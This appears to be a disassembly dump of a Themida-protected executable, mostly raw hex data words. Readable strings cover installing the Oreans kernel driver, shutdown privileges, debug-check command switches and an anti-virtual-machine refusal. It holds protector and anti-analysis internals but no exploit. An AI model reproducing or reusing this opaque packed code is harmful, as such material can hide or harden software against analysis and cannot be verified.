		dd 61E2CD1h, 4BFAB70Fh,	5880Fh,	0A2BA0000h, 581741AEh
		dd 2EC98589h, 85C6061Eh, 61E2041h, 0C9B70F43h, 4E8h, 764AA700h
		dd 0AE8C0h, 0FA980000h,	56A242Ah, 0CB67D726h, 0CA40BF50h
		dd 5F5A5BE9h, 24448B50h, 50BE6604h, 0E8008B53h,	0Ch, 0DCDDEF7Dh
		dd 0B05C1B1Ch, 106CA522h, 310F5250h, 895A585Ah,	57042444h
		dd 65DBC8BEh, 6A585A5Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 51B8C357h, 72DE8166h
		dd 8E95F26h, 67000000h,	8BB8647h, 0FF29C3B8h, 1E02F1B5h
		dd 31B58906h, 8D061E30h, 1E38FA85h, 58D0F06h, 66000000h
		dd 44AEDE81h, 38D0Fh, 0B70F0000h, 29D0FFF7h, 1E2B39BDh
		dd 0EE906h, 6DD90000h, 720457ABh, 9C82F492h, 2E43030h
		dd 5800F93h, 0BF000000h, 709EAD97h, 77B99350h, 0FF40C3D2h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E821F38Bh, 0Fh,	3CAE9F31h, 6BA3DE01h, 23D92754h
		dd 60AADF5Eh, 2C85BD31h, 94B6061Eh, 9D8D5E61h, 61E71ABh
		dd 0F87CF281h, 1B85810h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4C4EC352h
		dd 0C1D1B63Fh, 8BC9B553h, 1E1981BDh, 6AE3FF06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9A2EC355h, 44357E45h, 664008F3h, 8B2C11BEh, 0F18D89C1h
		dd 8B061E1Ah, 8319B5C0h, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535019h, 40FB8C0h, 85890000h, 61E0D19h
		dd 0ACA19D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h
		dd 40FB853h, 85890000h,	61E0D19h, 0A9429D8Dh, 0D3FF0620h
		dd 0B501585Bh, 61E2DC5h, 6810Fh, 0E6810000h, 48EA1AE5h
		dd 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	620A75Dh
		dd 0A759858Dh, 8D500620h, 20A6C385h, 1685006h, 0FF800000h
		dd 20A76995h, 0FF196A06h, 20A75DB5h, 6A016A06h,	0F2858D00h
		dd 500620A6h, 0A759B5FFh, 95FF0620h, 61E21E5h, 0A759B5FFh
		dd 95FF0620h, 620A765h,	0A759B5FFh, 95FF0620h, 61E1FE5h
		dd 5D8589C3h, 8D0620A7h, 20A75985h, 858D5006h, 620A6C3h
		dd 16850h, 95FF8000h, 620A769h,	858D046Ah, 620A75Dh, 6A046A50h
		dd 1C858D00h, 500620A7h, 0A759B5FFh, 95FF0620h,	61E21E5h
		dd 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh,	95FF0620h
		dd 61E1FE5h, 5D8589C3h,	8D0620A7h, 20A75985h, 858D5006h
		dd 620A6C3h, 16850h, 95FF8000h,	620A769h, 858D046Ah, 620A75Dh
		dd 6A046A50h, 4858D00h,	500620A7h, 0A759B5FFh, 95FF0620h
		dd 61E21E5h, 0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh
		dd 95FF0620h, 61E1FE5h,	5D8589C3h, 8D0620A7h, 20A75985h
		dd 858D5006h, 620A6C3h,	16850h,	95FF8000h, 620A769h, 858D046Ah
		dd 620A75Dh, 6A046A50h,	2F858D00h, 500620A7h, 0A759B5FFh
		dd 95FF0620h, 61E21E5h,	0A759B5FFh, 95FF0620h, 620A765h
		dd 0A759B5FFh, 95FF0620h, 61E1FE5h, 5D8589C3h, 8D0620A7h
		dd 20A75985h, 858D5006h, 620A6C3h, 16850h, 95FF8000h, 620A769h
		dd 858D046Ah, 620A75Dh,	6A046A50h, 0DF858D00h, 500620A6h
		dd 0A759B5FFh, 95FF0620h, 61E21E5h, 0A759B5FFh,	95FF0620h
		dd 620A765h, 0A759B5FFh, 95FF0620h, 61E1FE5h, 85BD83C3h
		dd 61E13h, 0B840Fh, 9D8B0000h, 61E1385h, 894CC383h, 0BD83C303h
		dd 61E1385h, 0B840F00h,	8B000000h, 1E13859Dh, 50C38306h
		dd 83C30389h, 1E1385BDh, 840F0006h, 0Bh, 13859D8Bh, 0C383061Eh
		dd 0C3038954h, 1385BD83h, 0F00061Eh, 0B84h, 859D8B00h
		dd 83061E13h, 38958C3h,	85BD83C3h, 61E13h, 0B840Fh, 9D8B0000h
		dd 61E1385h, 895CC383h,	60C3C303h, 0A75D8589h, 858D0620h
		dd 620A759h, 0C3858D50h, 500620A6h, 168h, 6995FF80h, 6A0620A7h
		dd 5D858D04h, 500620A7h, 6A046Ah, 0A754858Dh, 0FF500620h
		dd 20A759B5h, 0E595FF06h, 83061E21h, 1E1D79BDh,	840F0006h
		dd 0Ch,	0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h
		dd 61E1FE5h, 8960C361h,	20A75D85h, 59858D06h, 500620A7h
		dd 0A6C3858Dh, 68500620h, 80000001h, 0A76995FFh, 46A0620h
		dd 0A75D858Dh, 6A500620h, 8D006A04h, 20A73685h,	0B5FF5006h
		dd 620A759h, 21E595FFh,	0BD83061Eh, 61E1D79h, 0C840F00h
		dd 0FF000000h, 20A759B5h, 6595FF06h, 0FF0620A7h, 20A759B5h
		dd 0E595FF06h, 61061E1Fh, 858960C3h, 620A75Dh, 0A759858Dh
		dd 8D500620h, 20A6C385h, 1685006h, 0FF800000h, 20A76995h
		dd 8D046A06h, 20A75D85h, 46A5006h, 858D006Ah, 620A73Dh
		dd 59B5FF50h, 0FF0620A7h, 1E21E595h, 79BD8306h,	61E1Dh
		dd 0C840Fh, 0B5FF0000h,	620A759h, 0A76595FFh, 0B5FF0620h
		dd 620A759h, 1FE595FFh,	0C361061Eh, 5D858960h, 8D0620A7h
		dd 20A75985h, 858D5006h, 620A6C3h, 16850h, 95FF8000h, 620A769h
		dd 858D046Ah, 620A75Dh,	6A046A50h, 45858D00h, 500620A7h
		dd 0A759B5FFh, 95FF0620h, 61E21E5h, 1D79BD83h, 0F00061Eh
		dd 0C84h, 59B5FF00h, 0FF0620A7h, 20A76595h, 59B5FF06h
		dd 0FF0620A7h, 1E1FE595h, 60C36106h, 0A75D8589h, 858D0620h
		dd 620A759h, 0C3858D50h, 500620A6h, 168h, 6995FF80h, 6A0620A7h
		dd 5D858D04h, 500620A7h, 6A046Ah, 0A74C858Dh, 0FF500620h
		dd 20A759B5h, 0E595FF06h, 83061E21h, 1E1D79BDh,	840F0006h
		dd 0Ch,	0A759B5FFh, 95FF0620h, 620A765h, 0A759B5FFh, 95FF0620h
		dd 61E1FE5h, 0C760C361h, 20A75D85h, 106h, 59858D00h, 500620A7h
		dd 0A6C3858Dh, 68500620h, 80000002h, 0A76995FFh, 0C00B0620h
		dd 0F840Fh, 85C70000h, 620A75Dh, 0
		dd 4DE9h, 8D046A00h, 20A75D85h,	46A5006h, 858D006Ah, 620A6D7h
		dd 59B5FF50h, 0FF0620A7h, 1E21E595h, 0FC00B06h,	0F84h
		dd 5D85C700h, 620A7h, 0E9000000h, 0Ah, 0A75D85C7h, 10620h
		dd 0B5FF0000h, 620A759h, 1FE595FFh, 8B61061Eh, 20A75D85h
		dd 8960C306h, 20A75D85h, 59858D06h, 500620A7h, 0A6C3858Dh
		dd 68500620h, 80000001h, 0A76995FFh, 46A0620h, 0A75D858Dh
		dd 6A500620h, 8D006A04h, 20A6D785h, 0B5FF5006h,	620A759h
		dd 21E595FFh, 0BD83061Eh, 61E1D79h, 0C840F00h, 0FF000000h
		dd 20A759B5h, 6595FF06h, 0FF0620A7h, 20A759B5h,	0E595FF06h
		dd 61061E1Fh, 858960C3h, 620A75Dh, 0A759858Dh, 8D500620h
		dd 20A6C385h, 1685006h,	0FF800000h, 20A76995h, 8D046A06h
		dd 20A75D85h, 46A5006h,	858D006Ah, 620A6E9h, 59B5FF50h
		dd 0FF0620A7h, 1E21E595h, 79BD8306h, 61E1Dh, 0C840Fh, 0B5FF0000h
		dd 620A759h, 0A76595FFh, 0B5FF0620h, 620A759h, 1FE595FFh
		dd 0C361061Eh, 204185C6h, 6852061Eh, 0ADE47B07h, 1E9DB5FFh
		dd 95FF061Eh, 61E1B3Dh,	0A7698589h, 85C60620h, 61E2041h
		dd 0E56852h, 0B5FF902Eh, 61E1E9Dh, 1B3D95FFh, 8589061Eh
		dd 620A765h, 204185C6h,	6852061Eh, 0B9BF1235h, 1E9DB5FFh
		dd 95FF061Eh, 61E1B3Dh,	21E58589h, 85C6061Eh, 61E2041h
		dd 10346852h, 0B5FF9878h, 61E1E9Dh, 1B3D95FFh, 8589061Eh
		dd 61E1FE5h, 204185C6h,	6852061Eh, 0C005DBD4h, 1E9DB5FFh
		dd 95FF061Eh, 61E1B3Dh,	0E098589h, 0BE8061Eh, 0AB000000h
		dd 472E3996h, 0DD9E997h, 8A58BA46h, 9BC081DDh, 33000074h
		dd 14E9F6h, 4FEF0000h, 6784F0BDh, 889AF3EEh, 0CC9CDEB0h
		dd 0EC6F7DD7h, 34FFFBECh, 0DF8B6606h, 0C7816659h, 0C181B4C2h
		dd 1DEC2213h, 81FBBF0Fh, 6527B5E9h, 18800F32h, 0E9000000h
		dd 13h,	0C3958815h, 64D7BDF4h, 70C4F2D9h, 90AF4933h, 81567200h
		dd 35B189F1h, 0F52607Ah, 8158F0B7h, 0D3CA5EF1h,	0C896115h
		dd 1860F30h, 0FC000000h, 890Fh,	0EE810000h, 585ABAF3h
		dd 81DE8B66h, 5ABAEFC6h, 0D98B6658h, 8C0CFE81h,	850FFFFFh
		dd 0FFFFFF86h, 0FE8D68Bh, 0DE000000h, 7E18BB76h, 83D3C892h
		dd 9CFB637Dh, 8A0FA93Bh, 5, 0F35498BFh,	6660597Bh, 0F8953DBBh
		dd 0C9C18161h, 0B6000073h, 0E8C02BBAh, 0Ah, 0EEA4C5A6h
		dd 2C273152h, 8E8F1B2h,	3B000000h, 8F6331D6h, 0F873386h
		dd 84h,	8B5F5A00h, 0F680011Ch, 0F9C3810Bh, 6612242Eh, 8625F681h
		dd 38BCF381h, 81F517E4h, 0F36885C3h, 0EAD68163h, 8923827Dh
		dd 860F011Ch, 9, 0BEB86660h, 0D1D780D5h, 1E88361h, 56491BBFh
		dd 48484873h, 0E436BF66h, 8CE0F881h, 850FFFFFh,	0FFFFFFAFh
		dd 7E9h, 85F14600h, 0C85ADBACh,	20EE9h,	61433300h, 746F6E6Eh
		dd 69727720h, 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h
		dd 20656B61h, 65727573h, 61687420h, 68742074h, 66207369h
		dd 20656C69h, 6E207369h, 6220746Fh, 676E6965h, 65737520h
		dd 79622064h, 6F6E6120h, 72656874h, 6F727020h, 6D617267h
		dd 2Eh,	67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 204185C6h,	6847061Eh, 0E3E45B86h
		dd 2F1B5FFh, 858D061Eh,	61E38FAh, 468D0FFh, 8D000001h
		dd 1E06519Dh, 0D0FF5306h, 0FDB58D50h, 8B0620B0h, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4185C6A4h
		dd 43061E20h, 8E6EFC68h, 0F1B5FFBCh, 8D061E02h,	1E38FA85h
		dd 8DD0FF06h, 1E0651B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 204185C6h, 6857061Eh,	0A69BEE56h
		dd 2F1B5FFh, 858D061Eh,	61E38FAh, 0BD8DD0FFh, 61E0781h
		dd 0B2238D8Dh, 6A0620h,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	620AF05h, 9F8A858Dh, 0D0FF0620h
		dd 71AB8D8Dh, 0B8061Eh,	0FF000000h, 4185C6E1h, 43061E20h
		dd 764AA768h, 0F1B5FFC0h, 8D061E02h, 1E38FA85h,	53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 54Ch dup(0)
		db 0
byte_55C581	db 3 dup(0)		; DATA XREF: Themida_:0053CA92o
		dd 476h	dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 78BD8300h, 620EAh, 0A840Fh, 85C70000h, 61E2B25h, 1
		dd 204185C6h, 0E847061Eh, 4, 906D6C8Dh,	24448B50h, 89008B04h
		dd 58042444h, 2F1B5FFh,	858D061Eh, 61E38FAh, 0D0FFD0FFh
		dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h
		dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h
		dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h
		dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5,	2E0E9h,	1E900h
		dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h,	585h, 2C3E900h
		dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 0F8B58D00h
		dd 0E80620E9h, 225h, 0EA8DBD03h, 0BD830620h, 620EA8Dh
		dd 0B840F00h, 0C7000000h, 1E1D7985h, 106h, 0B58DC300h
		dd 620EA03h, 1FCE8h, 8DBD0300h,	830620EAh, 20EA8DBDh, 840F0006h
		dd 0Bh,	2B2585C7h, 1061Eh, 8DC30000h, 20EA7CB5h, 1D3E806h
		dd 0BD030000h, 620EA8Dh, 0EA8DBD83h, 0F000620h,	0B84h
		dd 0B985C700h, 1061E13h, 0C3000000h, 0EA0DB58Dh, 0AAE80620h
		dd 3000001h, 20EA8DBDh,	8DBD8306h, 620EAh, 0B840Fh, 85C70000h
		dd 61E2B25h, 1,	17B58DC3h, 0E80620EAh, 181h, 0EA8DBD03h
		dd 0BD830620h, 620EA8Dh, 15840F00h, 0C7000000h,	1E2B2585h
		dd 106h, 7985C700h, 1061E1Dh, 0C3000000h, 0EA25B58Dh, 4EE80620h
		dd 3000001h, 20EA8DBDh,	8DBD8306h, 620EAh, 0A840Fh, 85C70000h
		dd 61E13D1h, 1,	0EA2FB58Dh, 26E80620h, 3000001h, 20EA8DBDh
		dd 8DBD8306h, 620EAh, 0A840Fh, 85C70000h, 61E13D1h, 1
		dd 0EA3AB58Dh, 0FEE80620h, 3000000h, 20EA8DBDh,	8DBD8306h
		dd 620EAh, 0A840Fh, 85C70000h, 61E0845h, 1, 0EA40B58Dh
		dd 0D6E80620h, 3000000h, 20EA8DBDh, 8DBD8306h, 620EAh
		dd 0A840Fh, 85C70000h, 61E2D01h, 1, 0EA46B58Dh,	0AEE80620h
		dd 3000000h, 20EA8DBDh,	8DBD8306h, 620EAh, 0A840Fh, 85C70000h
		dd 61E0F15h, 1,	0EA54B58Dh, 86E80620h, 3000000h, 20EA8DBDh
		dd 8DBD8306h, 620EAh, 0A840Fh, 85C70000h, 61E0D49h, 1
		dd 0EA61B58Dh, 5EE80620h, 3000000h, 20EA8DBDh, 8DBD8306h
		dd 620EAh, 0A840Fh, 85C70000h, 61E1995h, 1, 0EA6CB58Dh
		dd 36E80620h, 3000000h,	20EA8DBDh, 8DBD8306h, 620EAh, 0A840Fh
		dd 85C70000h, 61E0211h,	1, 1E9h, 3F804700h, 9840F20h, 80000000h
		dd 850F003Fh, 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh
		dd 3F800000h, 5850F00h,	0B9000000h, 0
		dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 620EA8Dh, 0AE9h,	8D85C700h
		dd 620EAh, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 10h
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 10h
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 89C48B00h, 1E2C51B5h, 15858906h, 6A061E27h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 12F2C357h, 2AFD958Bh, 6660061Eh, 0EF40D981h,	2B918501h
		dd 8B61061Eh, 79BD83C0h, 61E1Dh, 0BD830975h, 61E2B25h
		dd 50197400h, 0B8C08B53h, 43Dh,	0CE98589h, 9D8D061Eh, 620AC3Ah
		dd 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535017h,	43Dh, 0CE98589h
		dd 9D8D061Eh, 620A929h,	585BD3FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0A2C35545h,	0CA826296h, 0D1E6E05Eh
		dd 8659D89h, 8D03061Eh,	61E1D65h, 89E18166h, 0E9C08B8Fh
		dd 6, 50B2652Bh, 0C08BFC45h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 76C35545h, 8347F624h, 1E1D79BDh
		dd 9750006h, 2B25BD83h,	7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h
		dd 620AADCh, 585BD3FFh,	2B25BD83h, 7400061Eh, 0B8535011h
		dd 0
		dd 0A98D9D8Dh, 0D3FF0620h, 9531585Bh, 61E1BC1h,	9E9h, 2F018F00h
		dd 598889ABh, 0C08B4FACh, 14E9h, 8F214300h, 0AE1E69F4h
		dd 9EAB6E4Dh, 0D8C9D30Eh, 0ADA8F896h, 0FC08B5Dh, 382h
		dd 0C88B6600h, 1D79BD83h, 7500061Eh, 25BD8309h,	61E2Bh
		dd 53501374h, 0B8C08Bh,	8D000000h, 20AA0E9Dh, 5BD3FF06h
		dd 25BD8358h, 61E2Bh, 53501174h, 0B8h, 5B9D8D00h, 0FF0620A9h
		dd 0F585BD3h, 0C8Ah, 0BB666000h, 8D89A309h, 61E18C5h, 39858961h
		dd 8B061E02h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 958B56DFh, 61E0489h, 0FC08B5Fh, 68Eh
		dd 61BD8B00h, 83061E15h, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h, 620AA75h, 585BD3FFh
		dd 2B25BD83h, 7400061Eh, 0B8535011h, 0
		dd 0A9749D8Dh, 0D3FF0620h, 8531585Bh, 61E1B9Dh,	891AD980h
		dd 1E024DB5h, 66C08B06h, 0F0F9E781h, 0C6444BFh,	0FC08B71h
		dd 68Ah, 0D8D8900h, 83061E2Bh, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h, 620A9A7h, 585BD3FFh
		dd 5E31A5BFh, 0B5315107h, 61E1545h, 8BC08B5Ah, 1E07AD95h
		dd 0FC08B06h, 8B66D6B7h, 79BD83C8h, 61E1Dh, 0BD830975h
		dd 61E2B25h, 50197400h,	0B8C08B53h, 7D0h, 0CE98589h, 9D8D061Eh
		dd 620AC3Ah, 585BD3FFh,	2B25BD83h, 7400061Eh, 0B8535017h
		dd 7D0h, 0CE98589h, 9D8D061Eh, 620A929h, 585BD3FFh, 0B197D981h
		dd 0C08B7BCBh, 4185C6FCh, 53061E20h, 1F899D01h,	0E860061Eh
		dd 10h,	0FCCECB02h, 5DF507FBh, 0DBD52149h, 21D88ACDh, 9E9h
		dd 1478D400h, 81FB16BBh, 8B5F4A2Dh, 1E1BF9BDh, 90686106h
		dd 5299395Fh, 0AE960h, 0D4510000h, 85C07F17h, 92BED3F5h
		dd 758D8Bh, 5F61061Eh, 2F1B5FFh, 8C0F061Eh, 6, 2C998D89h
		dd 858D061Eh, 61E38FAh,	0DCD28166h, 89D0FFBDh, 1E0C558Dh
		dd 0B9858906h, 0E9061E16h, 0Ah,	2FA464B4h, 0D9086294h
		dd 85C61E1Eh, 61E2041h,	0E1BD8957h, 68061E1Ah, 90045206h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 7EC35040h
		dd 293637E1h, 1E172585h, 41B58906h, 0FF061E1Dh,	1E02F1B5h
		dd 0D9858906h, 8D061E26h, 1E38FA85h, 0D5BFBF06h, 0D0FF6210h
		dd 325D9D89h, 8589061Eh, 61E1655h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0F4C35343h,	895C6220h, 9589905Bh
		dd 61E2BA9h, 204185C6h,	6A43061Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A4F2C356h
		dd 0FE5D886Dh, 1DA59D89h, 2868061Eh, 80BC9070h,	0B5FFEAE5h
		dd 61E02F1h, 38FA858Dh,	0BF0F061Eh, 0E9D0FFD3h,	7, 38A6AEE9h
		dd 8949058Fh, 1E1E6D85h, 0CABF0F06h, 0CA1BD8Bh,	85C6061Eh
		dd 61E2041h, 0FEBF0F4Ch, 0DA1CE968h, 0FFFE8BD9h, 1E02F1B5h
		dd 0E59D8906h, 8D061E1Dh, 1E38FA85h, 798D8B06h,	0B1061E1Bh
		dd 8BD0FFB4h, 1E2EC9BDh, 0D1858906h, 6A061E1Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0E0CEC353h, 655F3D36h, 0BD29CCBEh, 61E304Dh,	204185C6h
		dd 0E946061Eh, 0Ch, 0E6CE558Dh,	648B8A7h, 0B8502F60h, 0DE061468h
		dd 0FF11B6BAh, 1E02F1B5h, 0F7C68006h, 38FA858Dh, 9531061Eh
		dd 61E0C95h, 8D0FD0FFh,	5, 90D18166h, 29952920h, 89061E27h
		dd 1E317D85h, 68C0F06h,	8B000000h, 1E01318Dh, 4185C606h
		dd 47061E20h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0F0C35545h, 4C36522h, 0A6C17A5Eh, 0EF816659h, 0E2688776h
		dd 0FF8A0FB5h, 1E02F1B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 326E0254h
		dd 0B93B633Dh, 27A9B4E5h, 25A58D89h, 858D061Eh,	61E38FAh
		dd 1F1D9D29h, 0D0FF061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0FAC35343h, 0AD456347h, 632F89F8h, 89C88BEDh
		dd 1E319585h, 0EE906h, 0FAB80000h, 6594684Ah, 152E5705h
		dd 0DD2EEF78h, 204185C6h, 2947061Eh, 1E1D1D85h,	0B5F36806h
		dd 850F83D0h, 6, 5559589h, 0B5FF061Eh, 61E02F1h, 0DE78166h
		dd 0FA858D33h, 6A061E38h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 795FC350h, 0EBF02A8Eh
		dd 1ACB966h, 1C1BD8Bh, 0D0FF061Eh, 880Fh, 85890000h, 61E1EE5h
